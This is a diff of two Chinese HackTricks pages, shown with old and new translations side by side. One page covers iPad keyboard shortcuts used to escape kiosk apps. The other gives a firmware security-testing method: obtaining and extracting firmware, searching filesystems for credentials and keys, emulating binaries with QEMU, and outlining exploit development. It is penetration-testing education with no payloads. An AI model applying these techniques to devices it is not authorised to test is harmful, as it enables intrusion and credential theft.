* 快速按下iPad右上角的On/**Off**/Sleep按钮 + Home按钮拍摄屏幕截图截图将在显示屏左下角弹出。同时短按两个按钮如果您按住几秒钟将执行硬关机。 * 快速按右上角的开/关/睡眠按钮和 Home 按钮:截屏,截屏将在显示器左下角弹出。两者同时按下非常短暂,如果按住几秒钟将执行硬关机。
## 快捷键 ## 快捷键
您应该有一个iPad键盘或USB键盘适配器。这里只显示可能帮助退出应用程序的快捷键。 您应该有一个 iPad 键盘或 USB 键盘适配器。这里只显示可能帮助您逃离应用程序的快捷键。
| 键 | 名称 | | Key | Name |
| --- | ------------ | | --- | ------------ |
| ⌘ | Command | | ⌘ | Command |
| ⌥ | Option (Alt) | | ⌥ | Option (Alt) |
@ -209,59 +210,95 @@ _bash, sh, zsh..._ 更多信息请参阅:[https://gtfobins.github.io/](https:/
### 系统快捷键 ### 系统快捷键
这些快捷键用于iPad的视觉设置和声音设置具体取决于iPad的使用方式 这些快捷键用于视觉设置和声音设置,具体取决于 iPad 的使用。
| 快捷键 | 动作 | | Shortcut | Action |
| -------- | ------------------------------------------------------------------------------ | | -------- | ------------------------------------------------------------------------------ |
| F1 | 调暗屏幕 | | F1 | 调暗屏幕 |
| F2 | 亮屏幕 | | F2 | 亮屏幕 |
| F7 | 后退一首歌 | | F7 | 回到上一首歌 |
| F8 | 播放/暂停 | | F8 | 播放/暂停 |
| F9 | 跳过歌曲 | | F9 | 跳过歌曲 |
| F10 | 静音 | | F10 | 静音 |
| F11 | 降低音量 | | F11 | 降低音量 |
| F12 | 增加音量 | | F12 | 增加音量 |
| ⌘ Space | 显示可用语言列表;要选择一种语言,请再次点击空格键。 | | ⌘ Space | 显示可用语言列表;要选择一种,请再次按空格键。 |
### iPad导航 ### iPad 导航
| 快捷键 | 动作 | | Shortcut | Action |
| -------------------------------------------------- | ------------------------------------------------------- | | -------------------------------------------------- | ------------------------------------------------------- |
| ⌘H | 转到主屏幕 | | ⌘H | 返回主屏幕 |
| ⌘⇧H (Command-Shift-H) | 转到主屏幕 | | ⌘⇧H (Command-Shift-H) | 返回主屏幕 |
| ⌘ (Space) | 打开Spotlight | | ⌘ (Space) | 打开 Spotlight |
| ⌘⇥ (Command-Tab) | 列出最近使用的十个应用程序 | | ⌘⇥ (Command-Tab) | 列出最近使用的十个应用程序 |
| ⌘\~ | 转到上一个应用程序 | | ⌘\~ | 返回上一个应用程序 |
| ⌘⇧3 (Command-Shift-3) | 截图(悬停在左下角以保存或对其进行操作) | | ⌘⇧3 (Command-Shift-3) | 截屏(悬停在左下角以保存或操作) |
| ⌘⇧4 | 截图并在编辑器中打开它 | | ⌘⇧4 | 截屏并在编辑器中打开 |
| 按住⌘ | 显示应用程序可用的快捷键列表 | | 按住 ⌘ | 列出该应用程序可用的快捷键 |
| ⌘⌥D (Command-Option/Alt-D) | 弹出Dock | | ⌘⌥D (Command-Option/Alt-D) | 打开停靠栏 |
| ^⌥H (Control-Option-H) | 主屏幕按钮 | | ^⌥H (Control-Option-H) | 主屏幕按钮 |
| ^⌥H H (Control-Option-H-H) | 显示多任务栏 | | ^⌥H H (Control-Option-H-H) | 显示多任务栏 |
| ^⌥I (Control-Option-i) | 项目选择器 | | ^⌥I (Control-Option-i) | 项目选择器 |
| Escape | 返回按钮 | | Escape | 返回按钮 |
| → (右箭头) | 下一个项目 | | → (Right arrow) | 下一个项目 |
| ← (左箭头) | 上一个项目 | | ← (Left arrow) | 上一个项目 |
| ↑↓ (上箭头,下箭头) | 同时点击所选项目 | | ↑↓ (Up arrow, Down arrow) | 同时点击选定的项目 |
| ⌥ ↓ (Option-下箭头) | 向下滚动 | | ⌥ ↓ (Option-Down arrow) | 向下滚动 |
| ⌥↑ (Option-上箭头) | 向上滚动 | | ⌥↑ (Option-Up arrow) | 向上滚动 |
| ⌥← or ⌥→ (Option-左箭头或Option-右箭头) | 向左或向右滚动 | | ⌥← or ⌥→ (Option-Left arrow or Option-Right arrow) | 向左或向右滚动 |
| ^⌥S (Control-Option-S) | 打开或关闭VoiceOver语音 | | ^⌥S (Control-Option-S) | 打开或关闭 VoiceOver 语音 |
| ⌘⇧⇥ (Command-Shift-Tab) | 切换到上一个应用程序 | | ⌘⇧⇥ (Command-Shift-Tab) | 切换到上一个应用程序 |
| ⌘⇥ (Command-Tab) | 切换回原始应用程序 | | ⌘⇥ (Command-Tab) | 切换回原始应用程序 |
| ←+→, 然后Option + ← 或 Option+→ | 通过Dock导航 | | ←+→, 然后 Option + ← 或 Option+→ | 在 Dock 中导航 |
### Safari快捷键 ### Safari 快捷键
| 快捷键 | 动作 | | Shortcut | Action |
| ----------------------- | ------------------------------------------------ | | ----------------------- | ------------------------------------------------ |
| ⌘L (Command-L) | 打开位置 | | ⌘L (Command-L) | 打开位置 |
| ⌘T | 打开新标签页 | | ⌘T | 打开新标签 |
| ⌘W | 关闭当前标签页 | | ⌘W | 关闭当前标签 |
| ⌘R | 刷新当前标签页 | | ⌘R | 刷新当前标签 |
| ⌘. | 停止加载当前标签页 | | ⌘. | 停止加载当前标签 |
| ^⇥ | 切换到下一个标签页 | | ^⇥ | 切换到下一个标签 |
| ^⇧⇥ (Control-Shift-Tab) | 移动到上一个标签页 | | ^⇧⇥ (Control-Shift-Tab) | 移动到上一个标签 |
| ⌘L | 选择文本输入/URL字段以修改它 | | ⌘L | 选择文本输入/URL 字段以进行修改 |
| ⌘⇧T (Command-Shift-T) | 打开最后关闭的标签页(可以多次使用) | | ⌘⇧T (Command-Shift-T) | 打开最后关闭的标签(可以多次使用) |
| ⌘\[ | 在浏览历史记录中返回一页 | ⌘\[ | 在浏览历史中返回一页 |
| ⌘] | 在浏览历史中前进一页 |
| ⌘⇧R | 激活阅读模式 |
### 邮件快捷键
| Shortcut | Action |
| -------------------------- | ---------------------------- |
| ⌘L | 打开位置 |
| ⌘T | 打开新标签 |
| ⌘W | 关闭当前标签 |
| ⌘R | 刷新当前标签 |
| ⌘. | 停止加载当前标签 |
| ⌘⌥F (Command-Option/Alt-F) | 在您的邮箱中搜索 |
# 参考文献
* [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html)
* [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html)
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# 固件分析 # 固件分析
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
## **介绍** ## **介绍**
固件是一种基本软件,通过管理和促进硬件组件与用户交互的软件之间的通信,使设备能够正确运行。它存储在永久性存储器中,确保设备可以从通电时刻起访问重要指令,从而启动操作系统。检查和可能修改固件是识别安全漏洞的关键步骤。 固件是使设备正常运行的基本软件,通过管理和促进硬件组件与用户交互软件之间的通信。它存储在永久内存中,确保设备在开机时能够访问重要指令,从而启动操作系统。检查和可能修改固件是识别安全漏洞的关键步骤。
## **收集信息** ## **收集信息**
**收集信息**是了解设备构成和使用的技术的关键初始步骤。这个过程涉及收集以下数据: **收集信息**是理解设备构成及其使用技术的关键初步步骤。此过程涉及收集以下数据:
- CPU架构和运行的操作系统 - CPU 架构和运行的操作系统
- 引导加载程序的具体信息 - 引导加载程序的具体信息
- 硬件布局和数据表 - 硬件布局和数据表
- 代码库指标和源位置 - 代码库指标和源位置
@ -31,27 +32,27 @@
- 架构和流程图 - 架构和流程图
- 安全评估和已识别的漏洞 - 安全评估和已识别的漏洞
为此,**开源情报OSINT**工具是非常宝贵的,通过手动和自动审查过程分析任何可用的开源软件组件。像[Coverity Scan](https://scan.coverity.com)和[Semmles LGTM](https://lgtm.com/#explore)这样的工具提供免费的静态分析,可用于发现潜在问题。 为此,**开源情报 (OSINT)** 工具是不可或缺的,同时对任何可用的开源软件组件进行手动和自动审查也是非常重要的。像 [Coverity Scan](https://scan.coverity.com) 和 [Semmle 的 LGTM](https://lgtm.com/#explore) 这样的工具提供免费的静态分析,可以用来发现潜在问题。
## **获取固件** ## **获取固件**
获取固件可以通过各种方式进行,每种方式都有其自己的复杂程度 获取固件可以通过多种方式进行,每种方式的复杂程度不同
- **直接**从源头(开发人员、制造商) - **直接**从源头(开发、制造商)
- 根据提供的说明**构建**固件 - **根据**提供的说明进行**构建**
- 从官方支持站**下载** - ****官方支持站**下载**
- 利用**Google dork**查询查找托管的固件文件 - 利用 **Google dork** 查询查找托管的固件文件
- 直接访问**云存储**,使用诸如[S3Scanner](https://github.com/sa7mon/S3Scanner)之类的工具 - 直接访问 **云存储**,使用工具如 [S3Scanner](https://github.com/sa7mon/S3Scanner)
- 通过中间人技术拦截**更新** - 通过中间人技术**拦截** **更新**
- 通过**UART**、**JTAG**或**PICit**等连接从设备**提取** - 通过 **UART**、**JTAG** **PICit** 等连接**提取**固件
- 在设备通信中**嗅探**更新请求 - 在设备通信中**嗅探**更新请求
- 识别和使用**硬编码的更新端点** - 识别并使用 **硬编码的更新端点**
- 从引导加载程序或网络**转储** - 从引导加载程序或网络**转储**
- 当一切失败时,**移除和读取**存储芯片,使用适当的硬件工具 - 在万不得已时,**拆卸并读取**存储芯片,使用适当的硬件工具
## 分析固件 ## 分析固件
现在您**已经获得了固件**,您需要提取有关固件的信息,以了解如何处理它。您可以使用不同的工具进行此操作 现在你**拥有固件**,你需要提取有关它的信息,以了解如何处理它。你可以使用的不同工具有
```bash ```bash
file <bin> file <bin>
strings -n8 <bin> strings -n8 <bin>
@ -60,9 +61,9 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple fdisk -lu <bin> #lists a drives partition and filesystems if multiple
``` ```
如果使用这些工具没有找到太多信息,请使用 `binwalk -E <bin>` 检查图像的**熵**,如果熵低,则不太可能被加密。如果熵高,则很可能被加密(或以某种方式压缩)。 如果使用这些工具没有找到太多信息,请使用 `binwalk -E <bin>` 检查图像的 **熵**,如果熵低,那么它不太可能被加密。如果熵高,则很可能被加密(或以某种方式压缩)。
此外,您可以使用这些工具来提取**嵌入在固件中的文件** 此外,你可以使用这些工具提取 **嵌入固件中的文件**
{% content-ref url="../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md" %} {% content-ref url="../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
@ -72,12 +73,12 @@ fdisk -lu <bin> #lists a drives partition and filesystems if multiple
### 获取文件系统 ### 获取文件系统
通过之前提到的工具,如 `binwalk -ev <bin>`,您应该已经能够**提取文件系统**。\ 使用之前提到的工具,如 `binwalk -ev <bin>`,你应该能够 **提取文件系统**。\
Binwalk通常会将其提取到一个**以文件系统类型命名的文件夹**中通常是以下之一squashfs、ubifs、romfs、rootfs、jffs2、yaffs2、cramfs、initramfs。 Binwalk 通常会将其提取到一个 **以文件系统类型命名的文件夹** 通常是以下之一squashfs、ubifs、romfs、rootfs、jffs2、yaffs2、cramfs、initramfs。
#### 手动提取文件系统 #### 手动文件系统提取
有时binwalk **在其签名中没有文件系统的魔术字节**。在这些情况下,使用binwalk来**找到文件系统的偏移量并从二进制文件中切割压缩的文件系统**,然后根据其类型**手动提取**文件系统,按照以下步骤操作 有时binwalk **在其签名中没有文件系统的魔术字节**。在这些情况下,使用 binwalk **查找文件系统的偏移量并从二进制文件中切割压缩的文件系统**,并根据其类型使用以下步骤 **手动提取** 文件系统
``` ```
$ binwalk DIR850L_REVB.bin $ binwalk DIR850L_REVB.bin
@ -89,7 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes 1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41 1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
``` ```
运行以下 **dd 命令** 对 Squashfs 文件系统进行切割 运行以下 **dd 命令** 切割 Squashfs 文件系统
``` ```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
@ -99,7 +100,8 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s 8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
``` ```
Alternatively, you can run the following command. ```markdown
或者,可以运行以下命令。
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs` `$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
@ -107,7 +109,7 @@ Alternatively, you can run the following command.
`$ unsquashfs dir.squashfs` `$ unsquashfs dir.squashfs`
文件将位于“`squashfs-root`”目录中。 文件将随后位于 "`squashfs-root`" 目录中。
* CPIO 存档文件 * CPIO 存档文件
@ -117,7 +119,7 @@ Alternatively, you can run the following command.
`$ jefferson rootfsfile.jffs2` `$ jefferson rootfsfile.jffs2`
* 对于 NAND 闪存的 ubifs 文件系统 * 对于带有 NAND 闪存的 ubifs 文件系统
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>` `$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
@ -126,11 +128,12 @@ Alternatively, you can run the following command.
## 分析固件 ## 分析固件
获取固件后,解剖固件以了解其结构和潜在漏洞至关重要。这个过程涉及使用各种工具来分析并从固件映像中提取有价值的数据。 一旦获得固件,拆解它以理解其结构和潜在漏洞是至关重要的。此过程涉及利用各种工具分析和提取固件映像中的有价值数据。
### 初分析工具 ### 初分析工具
提供了一组命令,用于对二进制文件(称为 `<bin>`)进行初始检查。这些命令有助于识别文件类型,提取字符串,分析二进制数据,并了解分区和文件系统的详细信息: 提供了一组命令用于对二进制文件(称为 `<bin>`)进行初步检查。这些命令有助于识别文件类型、提取字符串、分析二进制数据以及理解分区和文件系统细节:
```
```bash ```bash
file <bin> file <bin>
strings -n8 <bin> strings -n8 <bin>
@ -139,51 +142,53 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
``` ```
评估图像的加密状态,可以使用 `binwalk -E <bin>` 检查**熵**。低熵表明缺乏加密,而高熵则表明可能存在加密或压缩。 要评估映像的加密状态,可以使用 `binwalk -E <bin>` 检查 **entropy**。低熵值表明缺乏加密,而高熵值则表示可能存在加密或压缩。
要提取**嵌入文件**,建议使用**file-data-carving-recovery-tools**文档和**binvis.io**进行文件检查 对于提取 **embedded files**,建议使用 **file-data-carving-recovery-tools** 文档和 **binvis.io** 进行文件检查的工具和资源
### 提取文件系统 ### 提取文件系统
使用 `binwalk -ev <bin>`,通常可以提取文件系统,通常会提取到以文件系统类型命名的目录中(例如 squashfs、ubifs。但是当**binwalk**由于缺少魔术字节而无法识别文件系统类型时,需要进行手动提取。这涉及使用 `binwalk` 定位文件系统的偏移量,然后使用 `dd` 命令切割出文件系统: 使用 `binwalk -ev <bin>`,通常可以提取文件系统,通常提取到一个以文件系统类型命名的目录中例如squashfsubifs。然而**binwalk** 由于缺少魔术字节而无法识别文件系统类型时,需要手动提取。这涉及使用 `binwalk` 定位文件系统的偏移量,然后使用 `dd` 命令提取文件系统:
```bash ```bash
$ binwalk DIR850L_REVB.bin $ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
``` ```
之后根据文件系统类型例如squashfs、cpio、jffs2、ubifs使用不同的命令手动提取内容。
### 文件系统分析 ### 文件系统分析
文件系统提取后开始搜索安全漏洞。注意不安全的网络守护程序、硬编码凭据、API 端点、更新服务器功能、未编译代码、启动脚本以及用于离线分析的已编译二进制文件。 提取文件系统后开始寻找安全漏洞。重点关注不安全的网络守护进程、硬编码凭据、API 端点、更新服务器功能、未编译代码、启动脚本和用于离线分析的已编译二进制文件。
需要检查的**关键位置**和**项目**包括: **关键位置**和**项目**检查包括:
- **etc/shadow****etc/passwd** 中的用户凭据 - **etc/shadow****etc/passwd** 中的用户凭据
- **etc/ssl** 中的 SSL 证书和密钥 - **etc/ssl** 中的 SSL 证书和密钥
- 潜在漏洞的配置和脚本文件 - 配置和脚本文件中的潜在漏洞
- 用于进一步分析的嵌入式二进制文件 - 嵌入的二进制文件以进行进一步分析
- 常见物联网设备的 Web 服务器和二进制文件 - 常见 IoT 设备的网络服务器和二进制文件
有几种工具可帮助揭示文件系统中的敏感信息和漏洞: 几个工具有助于揭示文件系统中的敏感信息和漏洞:
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) 和 [**Firmwalker**](https://github.com/craigz28/firmwalker) 用于搜索敏感信息 - [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) 和 [**Firmwalker**](https://github.com/craigz28/firmwalker) 用于敏感信息搜索
- [**固件分析和比较工具 (FACT)**](https://github.com/fkie-cad/FACT\_core) 用于全面的固件分析 - [**固件分析和比较工具 (FACT)**](https://github.com/fkie-cad/FACT\_core) 用于全面的固件分析
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer)、[**ByteSweep**](https://gitlab.com/bytesweep/bytesweep)、[**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) 和 [**EMBA**](https://github.com/e-m-b-a/emba) 用于静态和动态分析 - [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer)、[**ByteSweep**](https://gitlab.com/bytesweep/bytesweep)、[**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) 和 [**EMBA**](https://github.com/e-m-b-a/emba) 用于静态和动态分析
### 对已编译二进制文件进行安全检查 ### 对已编译二进制文件安全检查
必须仔细审查文件系统中找到的源代码和已编译二进制文件以查找漏洞。像 **checksec.sh** 用于 Unix 二进制文件,**PESecurity** 用于 Windows 二进制文件等工具有助于识别可能被利用的未受保护的二进制文件。 必须仔细检查文件系统中发现的源代码和已编译二进制文件的漏洞。像 **checksec.sh** 这样的工具用于 Unix 二进制文件,**PESecurity** 用于 Windows 二进制文件,帮助识别可能被利用的未保护二进制文件。
## 模拟固件进行动态分析 ## 模拟固件进行动态分析
模拟固件的过程使得可以对设备的操作或单个程序进行**动态分析**。这种方法可能会遇到硬件或架构依赖性的挑战,但将根文件系统或特定二进制文件传输到具有匹配架构和字节序的设备(如树莓派)或预构建的虚拟机,可以促进进一步测试。 模拟固件的过程使得可以对设备的操作或单个程序进行**动态分析**。这种方法可能会遇到硬件或架构依赖性的问题,但将根文件系统或特定二进制文件转移到具有匹配架构和字节序的设备(例如 Raspberry Pi或预构建的虚拟机上可以促进进一步的测试。
### 模拟单个二进制文件 ### 模拟单个二进制文件
对于检查单个程序,识别程序的字节序和 CPU 架构至关重要。 在检查单个程序时,识别程序的字节序和 CPU 架构至关重要。
#### MIPS 架构示例 #### MIPS 架构示例
要模拟 MIPS 架构二进制文件,可以使用以下命令: 要模拟 MIPS 架构二进制文件,可以使用以下命令:
```bash ```bash
file ./squashfs-root/bin/busybox file ./squashfs-root/bin/busybox
``` ```
@ -191,61 +196,74 @@ file ./squashfs-root/bin/busybox
```bash ```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
``` ```
### MIPS架构仿真 对于 MIPS大端使用 `qemu-mips`,而对于小端二进制文件,则选择 `qemu-mipsel`
对于MIPS大端架构使用`qemu-mips`,对于小端二进制文件,选择`qemu-mipsel`。 #### ARM 架构仿真
### ARM架构仿真 对于 ARM 二进制文件,过程类似,使用 `qemu-arm` 模拟器进行仿真。
对于ARM二进制文件过程类似使用`qemu-arm`仿真器进行仿真。
### 完整系统仿真 ### 完整系统仿真
类似[Firmadyne](https://github.com/firmadyne/firmadyne)、[Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit)等工具可实现完整固件仿真,自动化流程并协助动态分析。 像 [Firmadyne](https://github.com/firmadyne/firmadyne)、[Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) 等工具,促进了完整固件仿真,自动化了过程并帮助进行动态分析。
### 实践中的动态分析 ## 实践中的动态分析
此阶段使用真实或仿真设备环境进行分析。保持对操作系统和文件系统的shell访问至关重要。仿真可能无法完全模拟硬件交互可能需要偶尔重新启动仿真。分析应重新查看文件系统,利用暴露的网页和网络服务,探索引导加载程序漏洞。固件完整性测试对于识别潜在后门漏洞至关重要。 这个阶段,使用真实或仿真的设备环境进行分析。保持对操作系统和文件系统的 shell 访问是至关重要的。仿真可能无法完美模拟硬件交互,因此需要偶尔重新启动仿真。分析应重新访问文件系统,利用暴露的网页和网络服务,探索引导加载程序漏洞。固件完整性测试对于识别潜在后门漏洞至关重要。
### 运行时分析技术 ## 运行时分析技术
运行时分析涉及使用诸如gdb-multiarch、Frida和Ghidra等工具与进程或二进制文件在其操作环境中交互通过模糊测试等技术设置断点并识别漏洞。 运行时分析涉及在其操作环境中与进程或二进制文件进行交互,使用 gdb-multiarch、Frida 和 Ghidra 等工具设置断点,并通过模糊测试和其他技术识别漏洞。
### 二进制利用和概念验证 ## 二进制利用和概念验证
已识别的漏洞开发概念验证PoC需要深入了解目标架构并使用低级语言进行编程。嵌入式系统中的二进制运行时保护很少见但存在时可能需要使用Return Oriented ProgrammingROP等技术。 识别的漏洞开发 PoC 需要对目标架构和低级语言编程有深入理解。嵌入式系统中的二进制运行时保护很少,但在存在时,可能需要使用如返回导向编程ROP等技术。
### 用于固件分析的准备操作系统 ## 准备好的操作系统用于固件分析
操作系统如[AttifyOS](https://github.com/adi0x90/attifyos)和[EmbedOS](https://github.com/scriptingxss/EmbedOS)提供了预配置的固件安全测试环境,配备必要工具。 操作系统如 [AttifyOS](https://github.com/adi0x90/attifyos) [EmbedOS](https://github.com/scriptingxss/EmbedOS) 提供了预配置的固件安全测试环境,配备必要工具。
### 用于分析固件的准备操作系统 ## 准备好的操作系统分析固件
- [**AttifyOS**](https://github.com/adi0x90/attifyos)AttifyOS是一个旨在帮助您执行物联网IoT设备的安全评估和渗透测试的发行版。通过提供预配置环境并加载所有必要工具为您节省大量时间。 * [**AttifyOS**](https://github.com/adi0x90/attifyos)AttifyOS 是一个旨在帮助您对物联网IoT设备进行安全评估和渗透测试的发行版。它通过提供一个预配置的环境加载所有必要工具节省了您大量时间。
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS)基于Ubuntu 18.04的嵌入式安全测试操作系统,预装固件安全测试工具。 * [**EmbedOS**](https://github.com/scriptingxss/EmbedOS):基于 Ubuntu 18.04 的嵌入式安全测试操作系统,预装固件安全测试工具。
### 用于练习的易受攻击固件 ## 漏洞固件练习
要练习在固件中发现漏洞,可以使用以下易受攻击的固件项目作为起点。 要练习发现固件中的漏洞,可以使用以下漏洞固件项目作为起点。
- OWASP IoTGoat * OWASP IoTGoat
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat) * [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
- The Damn Vulnerable Router Firmware Project * Damn Vulnerable Router Firmware Project
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF) * [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
- Damn Vulnerable ARM Router (DVAR) * Damn Vulnerable ARM Router (DVAR)
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html) * [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
- ARM-X * ARM-X
- [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads) * [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
- Azeria Labs VM 2.0 * Azeria Labs VM 2.0
- [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/) * [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
- Damn Vulnerable IoT Device (DVID) * Damn Vulnerable IoT Device (DVID)
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID) * [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
### 参考资料 ## 参考文献
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) * [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904) * [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
### 培训和认证 ## 培训和认证
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation) * [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
